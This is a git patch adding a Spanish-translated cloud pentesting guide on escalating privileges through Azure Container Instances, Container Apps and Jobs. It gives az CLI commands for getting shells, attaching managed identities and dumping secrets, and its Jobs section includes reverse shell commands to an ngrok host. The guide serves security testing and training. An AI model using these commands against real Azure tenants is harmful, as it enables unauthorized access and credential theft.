From edea2ed0c1a8e4d007f8477aa3db68d8b1e11727 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 25 Feb 2025 22:37:40 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- ...z-container-instances-apps-jobs-privesc.md | 177 ++++++++++++++++++ 1 file changed, 177 insertions(+) create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md new file mode 100644 index 000000000..695c242be --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md @@ -0,0 +1,177 @@ +# Az - Azure Container Instances, Apps & Jobs Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Instances, Apps & Jobs + +Para más información, consulta: + +{{#ref}} +../az-services/az-container-instances-apps-jobs.md +{{#endref}} + +## ACI + +### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` + +Estos permisos permiten al usuario **ejecutar un comando** en un contenedor en ejecución. Esto se puede utilizar para **escalar privilegios** en el contenedor si tiene alguna identidad administrada adjunta. Por supuesto, también es posible acceder al código fuente y a cualquier otra información sensible almacenada dentro del contenedor. + +Obtener un shell es tan simple como: +```bash +az container exec --name --resource-group --exec-command '/bin/sh' +``` +También es posible **leer la salida** del contenedor con: +```bash +az container attach --name --resource-group +``` +O obtener los registros con: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Estos permisos permiten **adjuntar una identidad administrada por el usuario** a un grupo de contenedores. Esto es muy útil para escalar privilegios en el contenedor. + +Para adjuntar una identidad administrada por el usuario a un grupo de contenedores: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Estos permisos permiten **crear o actualizar un grupo de contenedores** con una **identidad administrada por el usuario** adjunta a él. Esto es muy útil para escalar privilegios en el contenedor. +```bash +az container create \ +--resource-group \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +Además, también es posible actualizar un grupo de contenedores existente añadiendo, por ejemplo, el argumento **`--command-line`** con un shell inverso. + +## ACA + +### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action` + +Estos permisos permiten al usuario **obtener un shell** en un contenedor de aplicación en ejecución. Esto se puede utilizar para **escalar privilegios** en el contenedor si tiene alguna identidad administrada adjunta. Por supuesto, también es posible acceder al código fuente y a cualquier otra información sensible almacenada dentro del contenedor. +```bash +az containerapp exec --name --resource-group --command "sh" +az containerapp debug --name --resource-group + +``` +### `Microsoft.App/containerApps/listSecrets/action` + +Este permiso permite obtener el **texto claro de los secretos** configurados dentro de una aplicación de contenedor. Tenga en cuenta que los secretos se pueden configurar con el texto claro o con un enlace a un key vault (en tal caso, la aplicación tendrá asignada una identidad administrada con acceso a los secretos). +```bash +az containerapp secret list --name --resource-group +az containerapp secret show --name --resource-group --secret-name +``` +### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Estos permisos permiten **adjuntar una identidad administrada por el usuario** a una aplicación de contenedor. Esto es muy útil para escalar privilegios en el contenedor. Ejecutar esta acción desde el az cli también requiere el permiso `Microsoft.App/containerApps/listSecrets/action`. + +Para adjuntar una identidad administrada por el usuario a un grupo de contenedores: +```bash +az containerapp identity assign -n -g --user-assigned myUserIdentityName +``` +### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action` + +Estos permisos permiten **crear o actualizar un contenedor de aplicación** con una **identidad administrada por el usuario** adjunta a él. Esto es muy útil para escalar privilegios en el contenedor. +```bash +# Get environments +az containerapp env list --resource-group Resource_Group_1 + +# Create app in a an environment +az containerapp create \ +--name \ +--resource-group \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--cpu 1 --memory 1.0 \ +--user-assigned \ +--min-replicas 1 \ +--command "" +``` +> [!TIP] +> Tenga en cuenta que con estos permisos **se pueden modificar otras configuraciones de la aplicación**, lo que podría permitir realizar otros ataques de privesc y post explotación dependiendo de la configuración de las aplicaciones existentes. + +## Jobs + +### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write` + +Aunque los trabajos no son de larga duración como las aplicaciones de contenedor, puede aprovechar la capacidad de anular la configuración del comando del trabajo al iniciar una ejecución. Al crear una plantilla de trabajo personalizada (por ejemplo, reemplazando el comando predeterminado con un shell inverso), puede obtener acceso a la shell dentro del contenedor que ejecuta el trabajo. +```bash +# Retrieve the current job configuration and save its template: +az containerapp job show --name --resource-group --output yaml > job-template.yaml + +# Edit job-template.yaml to override the command with a reverse shell (or similar payload): +# For example, change the container’s command to: +# - args: +# - -c +# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1 +# command: +# - /bin/bash +# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest + +# Update and wait until the job is triggered (or change ths type to scheduled) +az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml + +# Start a new job execution with the modified template: +az containerapp job start --name --resource-group --yaml job-template.yaml +``` +### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action` + +Si tienes estos permisos, puedes listar todos los secretos (primer permiso) dentro de un contenedor de Job y luego leer los valores de los secretos configurados. +```bash +az containerapp job secret list --name --resource-group +az containerapp job secret show --name --resource-group --secret-name +``` +### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write` + +Si tienes permiso para modificar la configuración de un trabajo, puedes adjuntar una identidad administrada asignada por el usuario. Esta identidad puede tener privilegios adicionales (por ejemplo, acceso a otros recursos o secretos) que pueden ser abusados para escalar privilegios dentro del contenedor. +```bash +az containerapp job update \ +--name \ +--resource-group \ +--assign-identity +``` +### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Si puedes crear un nuevo trabajo de Container Apps (o actualizar uno existente) y adjuntar una identidad administrada, puedes diseñar el trabajo para ejecutar una carga útil que escale privilegios. Por ejemplo, podrías crear un nuevo trabajo que no solo ejecute un shell inverso, sino que también utilice las credenciales de la identidad administrada para solicitar tokens o acceder a otros recursos. +```bash +az containerapp job create \ +--name \ +--resource-group \ +--environment \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--user-assigned \ +--trigger-type Schedule \ +--cron-expression "*/1 * * * *" \ +--replica-timeout 1800 \ +--replica-retry-limit 0 \ +--command "bash -c 'bash -i >& /dev/tcp// 0>&1'" +``` +> [!TIP] +> Este comando generará un error si no tienes el permiso `Microsoft.App/jobs/read`, aunque el trabajo será creado. + +### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read` + +Parece que con estos permisos debería ser posible iniciar un trabajo. Esto podría usarse para iniciar un trabajo con un shell inverso o cualquier otro comando malicioso sin necesidad de modificar la configuración del trabajo. + +No he logrado hacerlo funcionar, pero según los parámetros permitidos, debería ser posible. + + +{{#include ../../../banners/hacktricks-training.md}}